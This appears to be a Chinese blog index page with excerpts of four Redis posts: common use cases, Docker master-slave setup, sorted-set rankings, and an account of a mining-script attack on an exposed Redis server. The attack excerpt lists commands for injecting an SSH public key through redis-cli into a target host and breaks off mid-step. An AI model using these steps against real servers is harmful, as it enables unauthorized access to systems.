Redis
redis
张庆伟 乐于coding的黑狗
技术驱动社会进步
展开
-
redis常见应用场景
string 计数器:incr、decr 分布式锁:setnx、expire、del json set 存储对象(不常变化的部分) hash 购物车:hset、hdel、hlen、hincrby、hgetall hset、hincrby 存储对象(经常变化的部分) list 消息队列:rpush lpop 排行榜:rpush、lrange set 好友、关注、粉丝等等的集合:sismermber、scard、smove 随机展示 sranmember 黑白名单:sismember sorted s原创 2021-01-26 11:35:58 · 96 阅读 · 0 评论 -
记一次redis遭受挖矿脚本攻击
攻击前提:redis端口和密码均暴露 步骤: 1:生成一对公私钥,可本地命令行或使用工具生成,例如:ssh-keygen -t rsa 2:将公钥写入到文件里,例如:(echo-e"\n\n";cat id_rsa.pub;echo-e"\n\n")>foo.txt 3:cat命令读取公钥文件内容,并连接redis写入key test中,例如:cat /home/zqw/.ssh/foo.txt | ./redis-cli -h x.x.x.y -x set test 4:利用redis的配原创 2021-01-26 10:28:08 · 554 阅读 · 0 评论 -
使用docker安装多个redis进行主从配置,并使用swoole对主从延时进行监听
1.安装docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo yum list docker-ce --showduplicate...原创 2020-06-11 16:29:57 · 176 阅读 · 0 评论 -
redis 有序集合(sorted set)实现排名
特性:元素不重复,分值可重复 假设有销售3人,张三、李四、王五。1月25号 分别销售额为0.01、0.02、0.03,1月26号 分别销售额为0.03、0.02、0.01 zincrby 20210125 0.01 张三 zincrby 20210125 0.02 李四 zincrby 20210125 0.03 王五 zincrby 20210126 0.03 张三 zincrby 20210126 0.02 李四 zincrby 20210126 0.01 王五 那么计算某一天的排名为:原创 2021-01-26 09:31:09 · 341 阅读 · 0 评论